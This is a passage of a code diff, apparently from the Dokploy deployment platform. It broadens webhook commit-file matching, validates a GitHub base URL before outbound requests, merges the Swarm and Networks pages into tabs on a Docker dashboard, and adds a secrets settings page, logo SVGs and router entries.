+					...(commit.modified || []),
+					...(commit.removed || []),
+				]);
 			} else if (provider === "gitlab") {
-				normalizedCommits = req.body?.commits?.flatMap(
-					(commit: any) => commit.modified,
-				);
+				normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+					...(commit.added || []),
+					...(commit.modified || []),
+					...(commit.removed || []),
+				]);
 			} else if (provider === "gitea") {
-				normalizedCommits = req.body?.commits?.flatMap(
-					(commit: any) => commit.modified,
-				);
+				normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+					...(commit.added || []),
+					...(commit.modified || []),
+					...(commit.removed || []),
+				]);
 			} else if (provider === "soft-serve") {
-				normalizedCommits = req.body?.commits?.flatMap(
-					(commit: any) => commit.modified,
-				);
+				normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+					...(commit.added || []),
+					...(commit.modified || []),
+					...(commit.removed || []),
+				]);
 			}
 
 			const shouldDeployPaths = shouldDeploy(
@@ -179,9 +189,11 @@ export default async function handler(
 		} else if (sourceType === "gitlab") {
 			const branchName = extractBranchName(req.headers, req.body);
 
-			const normalizedCommits = req.body?.commits?.flatMap(
-				(commit: any) => commit.modified,
-			);
+			const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+				...(commit.added || []),
+				...(commit.modified || []),
+				...(commit.removed || []),
+			]);
 
 			const shouldDeployPaths = shouldDeploy(
 				application.watchPaths,
@@ -225,9 +237,11 @@ export default async function handler(
 		} else if (sourceType === "gitea") {
 			const branchName = extractBranchName(req.headers, req.body);
 
-			const normalizedCommits = req.body?.commits?.flatMap(
-				(commit: any) => commit.modified,
-			);
+			const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+				...(commit.added || []),
+				...(commit.modified || []),
+				...(commit.removed || []),
+			]);
 
 			const shouldDeployPaths = shouldDeploy(
 				application.watchPaths,

apps/dokploy/pages/api/deploy/compose/[refreshToken].ts

@@ -54,9 +54,11 @@ export default async function handler(
 
 		if (sourceType === "github") {
 			const branchName = extractBranchName(req.headers, req.body);
-			const normalizedCommits = req.body?.commits?.flatMap(
-				(commit: any) => commit.modified,
-			);
+			const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+				...(commit.added || []),
+				...(commit.modified || []),
+				...(commit.removed || []),
+			]);
 
 			const shouldDeployPaths = shouldDeploy(
 				composeResult.watchPaths,
@@ -74,9 +76,11 @@ export default async function handler(
 			}
 		} else if (sourceType === "gitlab") {
 			const branchName = extractBranchName(req.headers, req.body);
-			const normalizedCommits = req.body?.commits?.flatMap(
-				(commit: any) => commit.modified,
-			);
+			const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+				...(commit.added || []),
+				...(commit.modified || []),
+				...(commit.removed || []),
+			]);
 
 			const shouldDeployPaths = shouldDeploy(
 				composeResult.watchPaths,
@@ -125,17 +129,23 @@ export default async function handler(
 			let normalizedCommits: string[] = [];
 
 			if (provider === "github") {
-				normalizedCommits = req.body?.commits?.flatMap(
-					(commit: any) => commit.modified,
-				);
+				normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+					...(commit.added || []),
+					...(commit.modified || []),
+					...(commit.removed || []),
+				]);
 			} else if (provider === "gitlab") {
-				normalizedCommits = req.body?.commits?.flatMap(
-					(commit: any) => commit.modified,
-				);
+				normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+					...(commit.added || []),
+					...(commit.modified || []),
+					...(commit.removed || []),
+				]);
 			} else if (provider === "gitea") {
-				normalizedCommits = req.body?.commits?.flatMap(
-					(commit: any) => commit.modified,
-				);
+				normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+					...(commit.added || []),
+					...(commit.modified || []),
+					...(commit.removed || []),
+				]);
 			}
 
 			const shouldDeployPaths = shouldDeploy(
@@ -150,9 +160,11 @@ export default async function handler(
 		} else if (sourceType === "gitea") {
 			const branchName = extractBranchName(req.headers, req.body);
 
-			const normalizedCommits = req.body?.commits?.flatMap(
-				(commit: any) => commit.modified,
-			);
+			const normalizedCommits = req.body?.commits?.flatMap((commit: any) => [
+				...(commit.added || []),
+				...(commit.modified || []),
+				...(commit.removed || []),
+			]);
 
 			const shouldDeployPaths = shouldDeploy(
 				composeResult.watchPaths,

apps/dokploy/pages/api/deploy/github.ts

@@ -223,9 +223,11 @@ export default async function handler(
 			const deploymentTitle = extractCommitMessage(req.headers, req.body);
 			const deploymentHash = extractHash(req.headers, req.body);
 			const owner = getGithubRepositoryOwner(githubBody);
-			const normalizedCommits = githubBody?.commits?.flatMap(
-				(commit: any) => commit.modified,
-			);
+			const normalizedCommits = githubBody?.commits?.flatMap((commit: any) => [
+				...(commit.added || []),
+				...(commit.modified || []),
+				...(commit.removed || []),
+			]);
 
 			const apps = await db.query.applications.findMany({
 				where: and(

apps/dokploy/pages/api/providers/github/setup.ts

@@ -1,4 +1,9 @@
-import { createGithub, validateRequest } from "@dokploy/server";
+import {
+	createGithub,
+	deriveGithubApiUrl,
+	parseGithubBaseUrl,
+	validateRequest,
+} from "@dokploy/server";
 import { db } from "@dokploy/server/db";
 import { hasPermission } from "@dokploy/server/services/permission";
 import { eq } from "drizzle-orm";
@@ -11,13 +16,14 @@ type Query = {
 	state: string;
 	installation_id: string;
 	setup_action: string;
+	githubUrl?: string;
 };
 
 export default async function handler(
 	req: NextApiRequest,
 	res: NextApiResponse,
 ) {
-	const { code, state, installation_id }: Query = req.query as Query;
+	const { code, state, installation_id, githubUrl }: Query = req.query as Query;
 
 	if (!code) {
 		return res.status(400).json({ error: "Missing code parameter" });
@@ -38,7 +44,15 @@ export default async function handler(
 	}
 
 	if (action === "gh_init") {
-		const octokit = new Octokit({});
+		// Reject before any outbound request: this runs on a GET the user can be
+		// linked into, so the host is not trusted.
+		const parsed = parseGithubBaseUrl(githubUrl);
+		if ("error" in parsed) {
+			return res.status(400).json({ error: parsed.error });
+		}
+
+		const baseUrl = parsed.url;
+		const octokit = new Octokit({ baseUrl: deriveGithubApiUrl(baseUrl) });
 		const { data } = await octokit.request(
 			"POST /app-manifests/{code}/conversions",
 			{
@@ -55,6 +69,7 @@ export default async function handler(
 				githubClientSecret: data.client_secret,
 				githubWebhookSecret: data.webhook_secret,
 				githubPrivateKey: data.pem,
+				githubUrl: baseUrl,
 			},
 			session.activeOrganizationId,
 			user.id,

apps/dokploy/pages/dashboard/docker.tsx

@@ -1,17 +1,84 @@
 import { validateRequest } from "@dokploy/server/lib/auth";
 import { createServerSideHelpers } from "@trpc/react-query/server";
 import type { GetServerSidePropsContext } from "next";
+import { useRouter } from "next/router";
 import type { ReactElement } from "react";
 import superjson from "superjson";
 import { ShowContainers } from "@/components/dashboard/docker/show/show-containers";
+import { ShowVolumes } from "@/components/dashboard/docker/volumes/show-volumes";
+import { ShowNetworks } from "@/components/dashboard/networks/show-networks";
+import { ShowSwarmContainers } from "@/components/dashboard/swarm/containers/show-swarm-containers";
+import SwarmMonitorCard from "@/components/dashboard/swarm/monitoring-card";
 import { DashboardLayout } from "@/components/layouts/dashboard-layout";
 import { ServerFilter } from "@/components/shared/server-filter";
+import { Card } from "@/components/ui/card";
+import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
 import { appRouter } from "@/server/api/root";
+import { api } from "@/utils/api";
+
+const DEFAULT_TAB = "containers";
 
 const Dashboard = () => {
+	const router = useRouter();
+	const { data: isCloud } = api.settings.isCloud.useQuery();
+
+	const queryTab =
+		typeof router.query.tab === "string" ? router.query.tab : DEFAULT_TAB;
+	const activeTab = isCloud && queryTab === "networks" ? DEFAULT_TAB : queryTab;
+
+	const setTab = (value: string) => {
+		const { tab: _current, ...query } = router.query;
+		router.replace(
+			{
+				pathname: router.pathname,
+				query: value === DEFAULT_TAB ? query : { ...query, tab: value },
+			},
+			undefined,
+			{ shallow: true },
+		);
+	};
+
 	return (
 		<ServerFilter>
-			{(serverId) => <ShowContainers serverId={serverId} />}
+			{(serverId) => (
+				<Tabs value={activeTab} onValueChange={setTab}>
+					<TabsList>
+						<TabsTrigger value="containers">Containers</TabsTrigger>
+						<TabsTrigger value="swarm">Swarm</TabsTrigger>
+						<TabsTrigger value="volumes">Volumes</TabsTrigger>
+						{!isCloud && <TabsTrigger value="networks">Networks</TabsTrigger>}
+					</TabsList>
+					<TabsContent value="containers">
+						<ShowContainers serverId={serverId} />
+					</TabsContent>
+					<TabsContent value="swarm">
+						<Tabs defaultValue="overview">
+							<TabsList>
+								<TabsTrigger value="overview">Overview</TabsTrigger>
+								<TabsTrigger value="containers">Containers</TabsTrigger>
+							</TabsList>
+							<TabsContent value="overview">
+								<SwarmMonitorCard serverId={serverId} />
+							</TabsContent>
+							<TabsContent value="containers">
+								<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
+									<div className="rounded-xl bg-background shadow-md p-6">
+										<ShowSwarmContainers serverId={serverId} />
+									</div>
+								</Card>
+							</TabsContent>
+						</Tabs>
+					</TabsContent>
+					<TabsContent value="volumes">
+						<ShowVolumes serverId={serverId} />
+					</TabsContent>
+					{!isCloud && (
+						<TabsContent value="networks">
+							<ShowNetworks serverId={serverId} />
+						</TabsContent>
+					)}
+				</Tabs>
+			)}
 		</ServerFilter>
 	);
 };

apps/dokploy/pages/dashboard/networks.tsx

@@ -1,89 +1,21 @@
-import { IS_CLOUD } from "@dokploy/server/constants";
-import { validateRequest } from "@dokploy/server/lib/auth";
-import { createServerSideHelpers } from "@trpc/react-query/server";
 import type { GetServerSidePropsContext } from "next";
-import type { ReactElement } from "react";
-import superjson from "superjson";
-import { ShowNetworks } from "@/components/dashboard/networks/show-networks";
-import { DashboardLayout } from "@/components/layouts/dashboard-layout";
-import { ServerFilter } from "@/components/shared/server-filter";
-import { appRouter } from "@/server/api/root";
 
-const Dashboard = () => {
-	return (
-		<ServerFilter>
-			{(serverId) => <ShowNetworks serverId={serverId} />}
-		</ServerFilter>
-	);
+const Networks = () => {
+	return null;
 };
 
-export default Dashboard;
+export default Networks;
 
-Dashboard.getLayout = (page: ReactElement) => {
-	return <DashboardLayout>{page}</DashboardLayout>;
-};
+export async function getServerSideProps(ctx: GetServerSidePropsContext) {
+	const serverId =
+		typeof ctx.query.serverId === "string" ? ctx.query.serverId : undefined;
 
-export async function getServerSideProps(
-	ctx: GetServerSidePropsContext<{ serviceId: string }>,
-) {
-	if (IS_CLOUD) {
-		return {
-			redirect: {
-				permanent: true,
-				destination: "/dashboard/projects",
-			},
-		};
-	}
-	const { user, session } = await validateRequest(ctx.req);
-	if (!user) {
-		return {
-			redirect: {
-				permanent: true,
-				destination: "/",
-			},
-		};
-	}
-	const { req } = ctx;
-
-	const helpers = createServerSideHelpers({
-		router: appRouter,
-		ctx: {
-			req: req as any,
-			res: ctx.res as any,
-			db: null as any,
-			session: session as any,
-			user: user as any,
+	return {
+		redirect: {
+			permanent: false,
+			destination: `/dashboard/docker?tab=networks${
+				serverId ? `&serverId=${encodeURIComponent(serverId)}` : ""
+			}`,
 		},
-		transformer: superjson,
-	});
-	try {
-		await helpers.project.all.prefetch();
-
-		if (user.role === "member") {
-			const userR = await helpers.user.one.fetch({
-				userId: user.id,
-			});
-
-			if (!userR?.canAccessToDocker) {
-				return {
-					redirect: {
-						permanent: true,
-						destination: "/",
-					},
-				};
-			}
-		}
-
-		await helpers.network.all.prefetch({});
-
-		return {
-			props: {
-				trpcState: helpers.dehydrate(),
-			},
-		};
-	} catch {
-		return {
-			props: {},
-		};
-	}
+	};
 }

apps/dokploy/pages/dashboard/settings/secrets.tsx

@@ -0,0 +1,53 @@
+import { validateRequest } from "@dokploy/server";
+import { createServerSideHelpers } from "@trpc/react-query/server";
+import type { GetServerSidePropsContext } from "next";
+import type { ReactElement } from "react";
+import superjson from "superjson";
+import { ShowVaultProviders } from "@/components/dashboard/settings/vault/show-vault-providers";
+import { DashboardLayout } from "@/components/layouts/dashboard-layout";
+import { appRouter } from "@/server/api/root";
+
+const Page = () => {
+	return (
+		<div className="flex flex-col gap-4 w-full">
+			<ShowVaultProviders />
+		</div>
+	);
+};
+
+export default Page;
+
+Page.getLayout = (page: ReactElement) => {
+	return <DashboardLayout metaName="Secrets">{page}</DashboardLayout>;
+};
+export async function getServerSideProps(ctx: GetServerSidePropsContext) {
+	const { req, res } = ctx;
+	const { user, session } = await validateRequest(req);
+	if (!user || user.role === "member") {
+		return {
+			redirect: {
+				permanent: false,
+				destination: "/",
+			},
+		};
+	}
+	const helpers = createServerSideHelpers({
+		router: appRouter,
+		ctx: {
+			req: req as any,
+			res: res as any,
+			db: null as any,
+			session: session as any,
+			user: user as any,
+		},
+		transformer: superjson,
+	});
+	await helpers.user.get.prefetch();
+	await helpers.settings.isCloud.prefetch();
+
+	return {
+		props: {
+			trpcState: helpers.dehydrate(),
+		},
+	};
+}

apps/dokploy/pages/dashboard/swarm.tsx

@@ -1,94 +1,21 @@
-import { validateRequest } from "@dokploy/server/lib/auth";
-import { createServerSideHelpers } from "@trpc/react-query/server";
 import type { GetServerSidePropsContext } from "next";
-import type { ReactElement } from "react";
-import superjson from "superjson";
-import { ShowSwarmContainers } from "@/components/dashboard/swarm/containers/show-swarm-containers";
-import SwarmMonitorCard from "@/components/dashboard/swarm/monitoring-card";
-import { DashboardLayout } from "@/components/layouts/dashboard-layout";
-import { ServerFilter } from "@/components/shared/server-filter";
-import { Card } from "@/components/ui/card";
-import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
-import { appRouter } from "@/server/api/root";
 
-const Dashboard = () => {
-	return (
-		<ServerFilter>
-			{(serverId) => (
-				<div className="space-y-4">
-					<Tabs defaultValue="overview">
-						<TabsList>
-							<TabsTrigger value="overview">Overview</TabsTrigger>
-							<TabsTrigger value="containers">Containers</TabsTrigger>
-						</TabsList>
-						<TabsContent value="overview">
-							<SwarmMonitorCard serverId={serverId} />
-						</TabsContent>
-						<TabsContent value="containers">
-							<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
-								<div className="rounded-xl bg-background shadow-md p-6">
-									<ShowSwarmContainers serverId={serverId} />
-								</div>
-							</Card>
-						</TabsContent>
-					</Tabs>
-				</div>
-			)}
-		</ServerFilter>
-	);
+const Swarm = () => {
+	return null;
 };
 
-export default Dashboard;
+export default Swarm;
 
-Dashboard.getLayout = (page: ReactElement) => {
-	return <DashboardLayout>{page}</DashboardLayout>;
-};
-export async function getServerSideProps(
-	ctx: GetServerSidePropsContext<{ serviceId: string }>,
-) {
-	const { user, session } = await validateRequest(ctx.req);
-	if (!user) {
-		return {
-			redirect: {
-				permanent: false,
-				destination: "/",
-			},
-		};
-	}
-	const { req, res } = ctx;
+export async function getServerSideProps(ctx: GetServerSidePropsContext) {
+	const serverId =
+		typeof ctx.query.serverId === "string" ? ctx.query.serverId : undefined;
 
-	const helpers = createServerSideHelpers({
-		router: appRouter,
-		ctx: {
-			req: req as any,
-			res: res as any,
-			db: null as any,
-			session: session as any,
-			user: user as any,
+	return {
+		redirect: {
+			permanent: false,
+			destination: `/dashboard/docker?tab=swarm${
+				serverId ? `&serverId=${encodeURIComponent(serverId)}` : ""
+			}`,
 		},
-		transformer: superjson,
-	});
-	try {
-		await helpers.project.all.prefetch();
-
-		const userPermissions = await helpers.user.getPermissions.fetch();
-
-		if (!userPermissions?.docker.read) {
-			return {
-				redirect: {
-					permanent: false,
-					destination: "/",
-				},
-			};
-		}
-		return {
-			props: {
-				trpcState: helpers.dehydrate(),
-			},
-		};
-	} catch {
-		return {
-			props: {},
-		};
-	}
+	};
 }

apps/dokploy/public/icon-dark.svg

@@ -0,0 +1,5 @@
+<svg width="6323" height="5778" viewBox="0 0 6323 5778" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path fill="white" d="M4638.51 44.5295C4616.52 81.8286 4611.45 115.575 4619.9 213.263C4636.82 433.505 4772.12 710.584 4924.33 842.019C5002.12 909.512 5196.61 1012.53 5245.66 1012.53C5284.56 1012.53 5282.87 1019.63 5213.53 1129.75C5140.8 1243.43 5024.11 1339.34 4890.5 1389.07C4743.36 1445.91 4455.85 1453.01 4234.3 1405.06C4016.13 1357.1 3931.57 1323.35 3211.11 977.006C2265.71 522.312 2253.87 516.984 2125.34 481.461C2017.1 451.267 1917.32 445.938 1316.93 435.281C853.533 428.177 601.539 429.953 538.964 444.162C334.325 485.013 156.745 632.434 70.4925 829.586C12.9907 961.021 -7.30411 1191.92 2.84328 1589.78C7.91697 1841.99 16.3731 1911.26 46.8153 2005.39C114.465 2213.2 226.086 2342.86 422.269 2445.88C1594.29 3055.1 1969.74 3206.07 2529.54 3294.88C2732.49 3326.85 3258.46 3330.4 3459.72 3303.76C3755.69 3261.13 4107.46 3161.66 4403.43 3033.78C4540.42 2975.17 4904.03 2776.24 5220.29 2587.97C5910.31 2177.68 6006.71 2111.96 6037.16 2030.26C6070.98 1934.35 5988.11 1811.79 5888.33 1811.79C5851.12 1811.79 5862.96 1806.47 5426.62 2069.34C4352.69 2715.85 4026.28 2865.05 3485.09 2957.41C3162.06 3014.24 2587.04 2987.6 2274.17 2902.35C1924.08 2806.44 1839.52 2770.91 1051.41 2383.71C552.493 2140.38 444.255 2079.99 395.209 2023.16C363.076 1984.08 336.016 1945.01 336.016 1934.35C336.016 1920.14 467.932 1916.59 787.575 1921.92L1240.82 1929.02L1435.32 2001.84C1541.86 2040.92 1744.81 2126.17 1883.49 2190.11C2296.15 2381.94 2610.72 2451.21 3058.9 2451.21C3490.16 2451.21 3872.38 2374.83 4305.33 2198.99C4910.8 1955.66 5342.06 1596.88 5545.01 1172.38C5565.3 1127.98 5585.6 1090.68 5587.29 1087.13C5590.67 1083.57 5660.01 1074.69 5742.88 1065.81C5940.76 1046.28 6084.51 978.782 6221.5 842.019L6322.97 740.779V520.536V302.071L6253.63 353.579C6177.53 412.192 6062.52 444.162 5920.46 444.162C5795.31 444.162 5661.7 508.104 5568.69 614.672L5497.65 692.823L5487.51 646.643C5451.99 500.999 5304.85 364.236 5115.44 300.294C4956.46 248.786 4893.88 206.159 4831.31 108.471C4800.87 64.0671 4770.42 21.4395 4760.28 14.335C4721.38 -14.0833 4665.57 1.90186 4638.51 44.5295ZM2057.69 806.496C2162.55 834.914 2250.49 873.99 2517.7 1007.2C2605.65 1051.6 2796.76 1142.19 2940.51 1211.46C3084.27 1280.73 3332.88 1397.95 3490.16 1472.55C3948.49 1691.02 4049.96 1726.54 4301.95 1754.96L4437.25 1770.94L4310.41 1833.11C4153.12 1911.26 4016.13 1960.99 3804.73 2016.05C3512.15 2090.65 3402.22 2104.86 3050.44 2104.86C2590.43 2103.08 2370.57 2056.9 1974.82 1872.18C1413.33 1611.09 1386.27 1603.99 801.104 1589.78C457.784 1580.9 356.311 1572.01 336.016 1552.48C278.514 1492.09 303.882 1019.63 373.223 914.841C412.121 854.452 474.697 806.496 552.493 779.854C577.862 770.973 904.27 767.421 1278.03 772.749C1814.15 778.078 1978.2 785.182 2057.69 806.496Z"/>
+<path fill="white" d="M1266.2 1060.49C1173.18 1097.79 1129.21 1207.91 1171.49 1294.94C1222.22 1394.4 1332.15 1417.49 1413.33 1342.89C1477.6 1286.06 1479.29 1174.16 1418.41 1112C1374.44 1065.82 1308.48 1042.73 1266.2 1060.49Z"/>
+<path fill="white" d="M87.4063 2513.37C7.91846 2548.89 -8.99385 2616.39 4.536 2836.63C19.7571 3072.86 46.8168 3222.05 124.613 3488.48C427.344 4532.85 1129.2 5287.71 2106.74 5623.4C2641.17 5806.35 3236.48 5827.66 3752.3 5682.01C4596.23 5445.79 5315 4836.57 5692.15 4040.86C5886.64 3630.57 6018.55 3111.93 6018.55 2753.15C6018.55 2582.64 5991.49 2518.7 5910.31 2497.39C5820.68 2474.3 5575.45 2609.28 5164.48 2911.23C4484.61 3410.32 4229.23 3563.07 3890.98 3676.75C3635.61 3763.78 3466.49 3797.52 3194.2 3818.84C2651.31 3863.24 2057.69 3731.81 1570.62 3458.28C1394.73 3358.82 846.769 2980.5 581.246 2772.69C285.28 2540.01 270.059 2529.36 199.028 2508.04C155.056 2495.61 124.613 2497.39 87.4063 2513.37ZM5678.62 3076.41C5661.7 3138.57 5646.48 3202.52 5646.48 3218.5C5646.48 3236.26 5626.19 3262.9 5600.82 3280.67C5573.76 3296.65 5482.43 3371.25 5396.18 3445.85C5308.24 3518.67 5198.31 3611.03 5150.95 3650.1C5101.91 3689.18 4990.28 3781.54 4902.34 3856.14C4699.39 4026.65 4406.81 4236.23 4242.76 4330.37C4085.48 4420.95 3767.52 4532.85 3532.44 4582.58C2847.5 4724.67 2054.31 4570.15 1516.5 4190.05C1173.18 3946.72 412.123 3314.41 388.445 3254.02C363.077 3182.98 330.944 3042.66 337.708 3021.35C341.091 3012.47 417.196 3060.42 505.14 3129.69C1056.48 3559.52 1563.85 3863.24 1942.69 3992.9C2328.29 4124.34 2565.06 4163.41 2991.25 4163.41C3380.23 4163.41 3628.84 4126.11 3963.71 4012.44C4345.93 3884.56 4531.96 3781.54 5052.86 3405C5391.11 3161.66 5676.92 2968.06 5700.6 2966.29C5705.68 2966.29 5697.22 3016.02 5678.62 3076.41ZM5426.62 3881C5426.62 3886.33 5409.71 3925.41 5391.11 3966.26C5318.38 4115.45 5144.19 4364.11 5003.81 4518.64C4587.77 4973.33 4090.55 5271.73 3540.9 5392.5C3309.2 5444.01 2708.81 5440.46 2483.88 5387.17C1716.06 5204.23 1105.53 4754.87 696.249 4071.05C647.204 3987.57 609.997 3916.53 613.379 3912.97C616.762 3909.42 774.046 4028.42 965.155 4177.62C1154.57 4326.82 1371.05 4486.67 1443.77 4532.85C1974.82 4863.21 2463.59 4991.09 3118.09 4968C3461.41 4955.57 3691.42 4912.94 3997.53 4806.38C4357.76 4680.27 4623.29 4513.31 5130.66 4095.92C5382.65 3888.11 5426.62 3856.14 5426.62 3881Z"/>
+</svg>

apps/dokploy/public/icon-light.svg

@@ -0,0 +1,5 @@
+<svg width="6323" height="5778" viewBox="0 0 6323 5778" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path fill="black" d="M4638.51 44.5295C4616.52 81.8286 4611.45 115.575 4619.9 213.263C4636.82 433.505 4772.12 710.584 4924.33 842.019C5002.12 909.512 5196.61 1012.53 5245.66 1012.53C5284.56 1012.53 5282.87 1019.63 5213.53 1129.75C5140.8 1243.43 5024.11 1339.34 4890.5 1389.07C4743.36 1445.91 4455.85 1453.01 4234.3 1405.06C4016.13 1357.1 3931.57 1323.35 3211.11 977.006C2265.71 522.312 2253.87 516.984 2125.34 481.461C2017.1 451.267 1917.32 445.938 1316.93 435.281C853.533 428.177 601.539 429.953 538.964 444.162C334.325 485.013 156.745 632.434 70.4925 829.586C12.9907 961.021 -7.30411 1191.92 2.84328 1589.78C7.91697 1841.99 16.3731 1911.26 46.8153 2005.39C114.465 2213.2 226.086 2342.86 422.269 2445.88C1594.29 3055.1 1969.74 3206.07 2529.54 3294.88C2732.49 3326.85 3258.46 3330.4 3459.72 3303.76C3755.69 3261.13 4107.46 3161.66 4403.43 3033.78C4540.42 2975.17 4904.03 2776.24 5220.29 2587.97C5910.31 2177.68 6006.71 2111.96 6037.16 2030.26C6070.98 1934.35 5988.11 1811.79 5888.33 1811.79C5851.12 1811.79 5862.96 1806.47 5426.62 2069.34C4352.69 2715.85 4026.28 2865.05 3485.09 2957.41C3162.06 3014.24 2587.04 2987.6 2274.17 2902.35C1924.08 2806.44 1839.52 2770.91 1051.41 2383.71C552.493 2140.38 444.255 2079.99 395.209 2023.16C363.076 1984.08 336.016 1945.01 336.016 1934.35C336.016 1920.14 467.932 1916.59 787.575 1921.92L1240.82 1929.02L1435.32 2001.84C1541.86 2040.92 1744.81 2126.17 1883.49 2190.11C2296.15 2381.94 2610.72 2451.21 3058.9 2451.21C3490.16 2451.21 3872.38 2374.83 4305.33 2198.99C4910.8 1955.66 5342.06 1596.88 5545.01 1172.38C5565.3 1127.98 5585.6 1090.68 5587.29 1087.13C5590.67 1083.57 5660.01 1074.69 5742.88 1065.81C5940.76 1046.28 6084.51 978.782 6221.5 842.019L6322.97 740.779V520.536V302.071L6253.63 353.579C6177.53 412.192 6062.52 444.162 5920.46 444.162C5795.31 444.162 5661.7 508.104 5568.69 614.672L5497.65 692.823L5487.51 646.643C5451.99 500.999 5304.85 364.236 5115.44 300.294C4956.46 248.786 4893.88 206.159 4831.31 108.471C4800.87 64.0671 4770.42 21.4395 4760.28 14.335C4721.38 -14.0833 4665.57 1.90186 4638.51 44.5295ZM2057.69 806.496C2162.55 834.914 2250.49 873.99 2517.7 1007.2C2605.65 1051.6 2796.76 1142.19 2940.51 1211.46C3084.27 1280.73 3332.88 1397.95 3490.16 1472.55C3948.49 1691.02 4049.96 1726.54 4301.95 1754.96L4437.25 1770.94L4310.41 1833.11C4153.12 1911.26 4016.13 1960.99 3804.73 2016.05C3512.15 2090.65 3402.22 2104.86 3050.44 2104.86C2590.43 2103.08 2370.57 2056.9 1974.82 1872.18C1413.33 1611.09 1386.27 1603.99 801.104 1589.78C457.784 1580.9 356.311 1572.01 336.016 1552.48C278.514 1492.09 303.882 1019.63 373.223 914.841C412.121 854.452 474.697 806.496 552.493 779.854C577.862 770.973 904.27 767.421 1278.03 772.749C1814.15 778.078 1978.2 785.182 2057.69 806.496Z"/>
+<path fill="black" d="M1266.2 1060.49C1173.18 1097.79 1129.21 1207.91 1171.49 1294.94C1222.22 1394.4 1332.15 1417.49 1413.33 1342.89C1477.6 1286.06 1479.29 1174.16 1418.41 1112C1374.44 1065.82 1308.48 1042.73 1266.2 1060.49Z"/>
+<path fill="black" d="M87.4063 2513.37C7.91846 2548.89 -8.99385 2616.39 4.536 2836.63C19.7571 3072.86 46.8168 3222.05 124.613 3488.48C427.344 4532.85 1129.2 5287.71 2106.74 5623.4C2641.17 5806.35 3236.48 5827.66 3752.3 5682.01C4596.23 5445.79 5315 4836.57 5692.15 4040.86C5886.64 3630.57 6018.55 3111.93 6018.55 2753.15C6018.55 2582.64 5991.49 2518.7 5910.31 2497.39C5820.68 2474.3 5575.45 2609.28 5164.48 2911.23C4484.61 3410.32 4229.23 3563.07 3890.98 3676.75C3635.61 3763.78 3466.49 3797.52 3194.2 3818.84C2651.31 3863.24 2057.69 3731.81 1570.62 3458.28C1394.73 3358.82 846.769 2980.5 581.246 2772.69C285.28 2540.01 270.059 2529.36 199.028 2508.04C155.056 2495.61 124.613 2497.39 87.4063 2513.37ZM5678.62 3076.41C5661.7 3138.57 5646.48 3202.52 5646.48 3218.5C5646.48 3236.26 5626.19 3262.9 5600.82 3280.67C5573.76 3296.65 5482.43 3371.25 5396.18 3445.85C5308.24 3518.67 5198.31 3611.03 5150.95 3650.1C5101.91 3689.18 4990.28 3781.54 4902.34 3856.14C4699.39 4026.65 4406.81 4236.23 4242.76 4330.37C4085.48 4420.95 3767.52 4532.85 3532.44 4582.58C2847.5 4724.67 2054.31 4570.15 1516.5 4190.05C1173.18 3946.72 412.123 3314.41 388.445 3254.02C363.077 3182.98 330.944 3042.66 337.708 3021.35C341.091 3012.47 417.196 3060.42 505.14 3129.69C1056.48 3559.52 1563.85 3863.24 1942.69 3992.9C2328.29 4124.34 2565.06 4163.41 2991.25 4163.41C3380.23 4163.41 3628.84 4126.11 3963.71 4012.44C4345.93 3884.56 4531.96 3781.54 5052.86 3405C5391.11 3161.66 5676.92 2968.06 5700.6 2966.29C5705.68 2966.29 5697.22 3016.02 5678.62 3076.41ZM5426.62 3881C5426.62 3886.33 5409.71 3925.41 5391.11 3966.26C5318.38 4115.45 5144.19 4364.11 5003.81 4518.64C4587.77 4973.33 4090.55 5271.73 3540.9 5392.5C3309.2 5444.01 2708.81 5440.46 2483.88 5387.17C1716.06 5204.23 1105.53 4754.87 696.249 4071.05C647.204 3987.57 609.997 3916.53 613.379 3912.97C616.762 3909.42 774.046 4028.42 965.155 4177.62C1154.57 4326.82 1371.05 4486.67 1443.77 4532.85C1974.82 4863.21 2463.59 4991.09 3118.09 4968C3461.41 4955.57 3691.42 4912.94 3997.53 4806.38C4357.76 4680.27 4623.29 4513.31 5130.66 4095.92C5382.65 3888.11 5426.62 3856.14 5426.62 3881Z"/>
+</svg>

apps/dokploy/server/api/root.ts

@@ -10,6 +10,7 @@ import { composeRouter } from "./routers/compose";
 import { deploymentRouter } from "./routers/deployment";
 import { destinationRouter } from "./routers/destination";
 import { dockerRouter } from "./routers/docker";
+import { dockerVolumeRouter } from "./routers/docker-volume";
 import { domainRouter } from "./routers/domain";
 import { environmentRouter } from "./routers/environment";
 import { gitProviderRouter } from "./routers/git-provider";
@@ -49,6 +50,7 @@ import { stripeRouter } from "./routers/stripe";
 import { swarmRouter } from "./routers/swarm";
 import { tagRouter } from "./routers/tag";
 import { userRouter } from "./routers/user";
+import { vaultProviderRouter } from "./routers/vault-provider";
 import { volumeBackupsRouter } from "./routers/volume-backups";
 /**
  * This is the primary router for your server.
@@ -68,6 +70,7 @@ export const appRouter = createTRPCRouter({
 	deployment: deploymentRouter,
 	destination: destinationRouter,
 	docker: dockerRouter,
+	dockerVolume: dockerVolumeRouter,
 	domain: domainRouter,
 	gitea: giteaRouter,
 	gitProvider: gitProviderRouter,
@@ -93,6 +96,7 @@ export const appRouter = createTRPCRouter({
 	stripe: stripeRouter,
 	swarm: swarmRouter,
 	user: userRouter,
+	vaultProvider: vaultProviderRouter,
 	ai: aiRouter,
 	organization: organizationRouter,
 	licenseKey: licenseKeyRouter,

apps/dokploy/server/api/routers/compose.ts

@@ -212,6 +212,7 @@ export const composeRouter = createTRPCRouter({
 			});
 			const updated = await updateCompose(input.composeId, {
 				env: input.env,
+				createEnvFile: input.createEnvFile,
 			});
 
 			if (!updated) {

apps/dokploy/server/api/routers/docker-volume.ts

@@ -0,0 +1,215 @@
+import {
+	deleteVolumeFile,
+	findServerById,
